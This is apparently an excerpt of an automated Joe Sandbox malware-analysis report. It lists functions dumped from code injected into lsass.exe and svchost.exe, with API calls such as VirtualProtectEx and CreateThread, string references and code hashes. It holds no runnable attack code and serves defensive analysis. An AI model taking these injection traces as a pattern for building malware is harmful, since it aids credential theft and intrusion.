Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 819f4eb226d638b22eb9453569fbd0dff2ed878ae5cb7d9cc285f1354ad887c7
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9B61C536559B44C6E7629B16F48439AB7A0F7887A4F600515EF8E47BB8DF7CC840CB82

Function 00000140ADFD3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140ADFD352C
_set_statfp.LIBCMT ref: 00000140ADFD3547
_set_statfp.LIBCMT ref: 00000140ADFD3563
_set_statfp.LIBCMT ref: 00000140ADFD359F

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2e1910b8291bafd17102f3214c72d3e729590e13e78c3872cab4fc5f060f1e3e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 22115472614B5353FA56162AE4553EB31C36F5C37CF784628AFE6076F68A34E8436200

Function 00000140AE874104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140AE87412C
_set_statfp.LIBCMT ref: 00000140AE874147
_set_statfp.LIBCMT ref: 00000140AE874163
_set_statfp.LIBCMT ref: 00000140AE87419F

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 28d524a13795f3523b3f1b4b207150eb2f338f5cab7179f9a4c1ef00b7941454
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: DC119132AD0B5011F667256AD4913E531446B6DBB8F390624AF7E176F68B34CC41C2A2

Function 00000140ADFCF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000140ADFCF124

Strings

or copy constructor iterator', xrefs: 00000140ADFCF25A, 00000140ADFCF275
Tuesday, xrefs: 00000140ADFCF0F4
Wednesday, xrefs: 00000140ADFCF1ED

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 48ac8b7a938d00f4a24374fee49c64dd94bfb0dfea2bd827f35d3ab40a9a7452
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3961B43652234853FA6B8B67E5443EBBAA3EF8D748F744415CB46077B4DB34C967A200

Function 00000140AE86AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000140AE86AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000140AE86AAB7

Strings

MOC, xrefs: 00000140AE86AA7C
RCC, xrefs: 00000140AE86AA85

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1c54ac8669fca167ed3fb4a5461af2b1e7039b1515757cf07daf6e620200d245
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: B6619F33640B848AEB11DF66D4403DD77A0F748BA8F244256EF4E17BA9DB38C995C781

Function 00000140ADFCA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFCA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140ADFCA288

Strings

csm, xrefs: 00000140ADFCA2DA
csm, xrefs: 00000140ADFCA1C2

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 5e9ed10956360af88f8a3a4b9cf73a15bede84b98f5d365089c0e3503e132e06
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B751E432120388CBEB658B6794443DA37A3FB58B84F244117DB4947BE5CB39E5A2E700

Function 00000140AE86AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE86ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140AE86AE88

Strings

csm, xrefs: 00000140AE86ADC2
csm, xrefs: 00000140AE86AEDA

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 6cac39d5d8876cbc65fde025732dcd94be71c236f1742025846821184820e854
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D951AF72180780CAEB768F17958439977A0F358BA8F244256DF9D47BE5CB38D890D782

Function 00000140ADFC8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

csm, xrefs: 00000140ADFC848E
f, xrefs: 00000140ADFC8426

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 595c9e32b9df4e514150441d0aa3e925450171a8e5ef433ea7709e32150aded9
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: E551E43272170487DB96CF16D404BEA3797FB48BA8F318424DB06437A8EBB4C952A704

Function 00000140AE8726F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000140AE872807
GetLastError.KERNEL32 ref: 00000140AE872829

Strings

F]:82, xrefs: 00000140AE87270F
U, xrefs: 00000140AE8727B3

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: F]:82$U
API String ID: 442123175-3311195430
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 3e73605a521e4cce57338457d13aec77e0fda4a33a28f7c4ac6780cba42ba59d
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 48417172615B8086DB219F6AE8443E977A1F7987A4F604025EF4D87BA4DB3CC941C781

Function 00000140ADFC83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

csm, xrefs: 00000140ADFC848E
f, xrefs: 00000140ADFC8426

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fdcdef5ba31d8dbb8912a9a905e6b67567b4155f9952f6a6302e3e1a43461dee
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 4831CF3122174487E792DF13E844BDA37A7FB48B98F258414EF8A037A8CB38C952D704

Function 00000140AE8614A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE8614C5
HeapFree.KERNEL32 ref: 00000140AE8614D4
GetProcessHeap.KERNEL32 ref: 00000140AE8614E1
HeapFree.KERNEL32 ref: 00000140AE8614F0
GetProcessHeap.KERNEL32 ref: 00000140AE861500

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: e0938be913c4546f92e354b3f490316f5aad01bc8c73eed3b2a93003b4ccae50
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 4C015A32A40B90C6E706DF67E94828A77A1F78DFA1F244425EF4E4372ADE38C851C791

Function 00000140AE872980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000140AE872A9C
GetLastError.KERNEL32 ref: 00000140AE872B27

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: bfe30e0d5e1943aced18828ddcaefd42f41aed77c308e3009ff5d43c7c6b682c
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: A491AFB264075085F762DF6A94803ED3BA4F758BA8F744109DF4E67AA5DB34CC82C782

Function 00000140AE86ED0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 00000140AE86E668: GetOEMCP.KERNEL32 ref: 00000140AE86E692

IsValidCodePage.KERNEL32 ref: 00000140AE86ED79
GetCPInfo.KERNEL32 ref: 00000140AE86EDBD

Strings

F]:82, xrefs: 00000140AE86ED22

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: F]:82
API String ID: 546120528-2422748741
Opcode ID: 40efbe512c95442b741ef5282b0f0ea723fdf90a90a36b1dcf043ddce602893b
Instruction ID: d125a4f93937241524de0fefc819b88b41a8e2e2b8d20653646faecf594ba604
Opcode Fuzzy Hash: 40efbe512c95442b741ef5282b0f0ea723fdf90a90a36b1dcf043ddce602893b
Instruction Fuzzy Hash: A381B472696B8086FB678F2B90443E977A1E34C7A0F744015EF8E476B1DA39DE45C382

Function 00000140AE86DA9C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000140AE86DACC

Strings

F]:82, xrefs: 00000140AE86DE7E
*?, xrefs: 00000140AE86DAF7

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$F]:82
API String ID: 3215553584-3155920265
Opcode ID: 30879497fba94220c0d251822a22f2ad6c70dac2b1e9d214631859fe890dbacb
Instruction ID: eff97464bcbd58d6b6d9f7402abaaa834f26dc8138b11644abf34dda11de57b8
Opcode Fuzzy Hash: 30879497fba94220c0d251822a22f2ad6c70dac2b1e9d214631859fe890dbacb
Instruction Fuzzy Hash: 1D51AF7278075445EB62AB6799113ED67A1A74CBF8F244511DF0D0BBEEEA78C841C382

Function 00000140ADFC9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000140ADFC9EB7

Strings

RCC, xrefs: 00000140ADFC9E85
MOC, xrefs: 00000140ADFC9E7C

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: fd2f36d4469ca00d580b9035ee875e4ebab09abcf6c64778c8a765e7c8b01963
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E9619F33610B888AEB21DF66D0403DE77B2FB48B89F244215EF4917BA8DB38D166D700

Function 00000140AE862330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000140AE862416
StrCpyW.SHLWAPI ref: 00000140AE86242D

Strings

\\.\pipe\, xrefs: 00000140AE862421

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: c9d078df74486e421dded553d044dc307dfc5948a87b49d5b9b062cc3c97baf6
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: EE51E03228438181E676DB2FA1583EAA791F3CD7A4F640165DF4D03BAADA39CD44C7C2

Function 00000140AE86E780 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00000140AE86E7C2

Strings

, xrefs: 00000140AE86E805
F]:82, xrefs: 00000140AE86E79A

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Info
String ID: $F]:82
API String ID: 1807457897-2256556325
Opcode ID: c93f3108f4eee44b47daab660e7931f0d47a2e098f42ae2a4485b6e8a39e27b2
Instruction ID: aed91b69a857ebd8f143008fe32e8ddfd8748f94c082e14693789e3aba300262
Opcode Fuzzy Hash: c93f3108f4eee44b47daab660e7931f0d47a2e098f42ae2a4485b6e8a39e27b2
Instruction Fuzzy Hash: 1151C3726593C08BE7628F35E0843DD77A0F348754F64412AEB8D47A95DB38CA45CB81

Function 00000140AE8725D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000140AE87269E
GetLastError.KERNEL32 ref: 00000140AE8726BA

Strings

F]:82, xrefs: 00000140AE8725EF

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: F]:82
API String ID: 442123175-2422748741
Opcode ID: 6a8b7be37c354b90c3c58bec20d11a7fb2faf8562248a756045ffe1d95056732
Instruction ID: 3bb8fc61173dd34b3669fe6c4d3d244dc259269f42422ba321d249a6f04bbabe
Opcode Fuzzy Hash: 6a8b7be37c354b90c3c58bec20d11a7fb2faf8562248a756045ffe1d95056732
Instruction Fuzzy Hash: B231C0B2754B4086DB21AF1AE8843C973A0F75C794F644026EF4D87B74EB38C951CB81

Function 00000140AE8724D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000140AE872583
GetLastError.KERNEL32 ref: 00000140AE87259F

Strings

F]:82, xrefs: 00000140AE8724EB

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: F]:82
API String ID: 442123175-2422748741
Opcode ID: 9a54b18a8e95195701766736d0ee8c69aa1558165b06a77f74fea7402753075b
Instruction ID: d7c8c6202cc880b7088bfabcacc5dcece4dd317f43bb9b6ae06083d37b49d767
Opcode Fuzzy Hash: 9a54b18a8e95195701766736d0ee8c69aa1558165b06a77f74fea7402753075b
Instruction Fuzzy Hash: 3331F672224B808ADB529F1AE4403C977A0F75C790F744022EF4E83B65EB38C956D741

Function 00000140AE86E374 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00000140AE86E3AF
GetLastError.KERNEL32 ref: 00000140AE86E3B9

Strings

F]:82, xrefs: 00000140AE86E38E

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: F]:82
API String ID: 2776309574-2422748741
Opcode ID: ab0bd3f6f2c4376db8bd34063ca6f8f85c8d865200dc56b2024b30ec5b250ea6
Instruction ID: 013e923800ffb75caf56305a85b8ad5ea486581032202eaa9f2e50a66a4d7950
Opcode Fuzzy Hash: ab0bd3f6f2c4376db8bd34063ca6f8f85c8d865200dc56b2024b30ec5b250ea6
Instruction Fuzzy Hash: D4319832254B808AE722CB26E4443DD77A4F38D7A4F644115EF8C47BB8DB38C944CB82

Function 00000140AE867940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000140AE86813A
capture_previous_context.LIBCMT ref: 00000140AE868152

Strings

F]:82, xrefs: 00000140AE8681CC

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID: F]:82
API String ID: 3936158736-2422748741
Opcode ID: 00146d0d25447094cefaa5d60678f21286d9dab6d2be1c91d195ac6cff3fb679
Instruction ID: 5104a9858c041a76dfeb029c30ea75d9d046b0c3572822f99d436cbf249b340d
Opcode Fuzzy Hash: 00146d0d25447094cefaa5d60678f21286d9dab6d2be1c91d195ac6cff3fb679
Instruction Fuzzy Hash: 9621C074680B4086EB528B1AF86139567A4F7887A4FA00126DE8E837B1EF3CC855D3C2

Function 00000140AE8694A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000140AE8694F0
RaiseException.KERNEL32 ref: 00000140AE869531

Strings

csm, xrefs: 00000140AE86951E

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: c81f436458b37827e035cf8ccd5af5f126ed8c86e3896386e64a1e0766a3eb38
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: D7112B32614B8082EB628B16E44439977E5F788BA8F684260EF8C077A9DF3CC955CB40

Function 00000140ADFC7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC737C

Strings

ierarchy Descriptor', xrefs: 00000140ADFC7381
riptor at (, xrefs: 00000140ADFC7364

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 56ed09fddae288ef6c89d74bd241d2dfe88a9543861981f92f91ccf0ba0ae745
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: DCE08671650B4892DF038F22E8402D933A3DF5DB68B9891229A5C07321FA38D1FAD301

Function 00000140ADFC73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC73D8

Strings

Locator', xrefs: 00000140ADFC73DD
riptor at (, xrefs: 00000140ADFC73C0

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 4940423c840106aa278dadeec7b987efc7fd2bbde3a41644df2d62b25ed6cadf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 05E08671610B4886DF028F22E4401D97363EF5DB58B989122CA4C07321FA38D1E6D300

Function 00000140AE861BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861C2D
HeapAlloc.KERNEL32 ref: 00000140AE861C3B
GetProcessHeap.KERNEL32 ref: 00000140AE861C77
HeapFree.KERNEL32 ref: 00000140AE861C85

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 65c83ae18bbeee38c1f395d24bd21a894001158fe5ba6808c8c40ff99673c146
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 0F119E35A41B5485EB46DB6BA8082A977A1FB8DFE0F284028DF4D47776DF38C842D381

Function 00000140AE861268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE86126E
HeapAlloc.KERNEL32 ref: 00000140AE86127D
GetProcessHeap.KERNEL32 ref: 00000140AE861297
HeapAlloc.KERNEL32 ref: 00000140AE8612A8

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8c25a065afb30b7e91423b8a6a5c310c77542b609ab35f2169316764477aec7c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 47E03935A4170486EB068B63D80838A36E1EB8EB26F2480248E0907361DF7D8899D7A1

Analysis Process: svchost.exePID: 924, Parent PID: 1276COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	2

Executed Functions

Function 00000195DD5C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000195DD5C32AE
PathFindFileNameW.SHLWAPI ref: 00000195DD5C32BD

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Part of subcall function 00000195DD5C3790: GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

CreateThread.KERNEL32 ref: 00000195DD5C330B

Part of subcall function 00000195DD5C1D14: GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
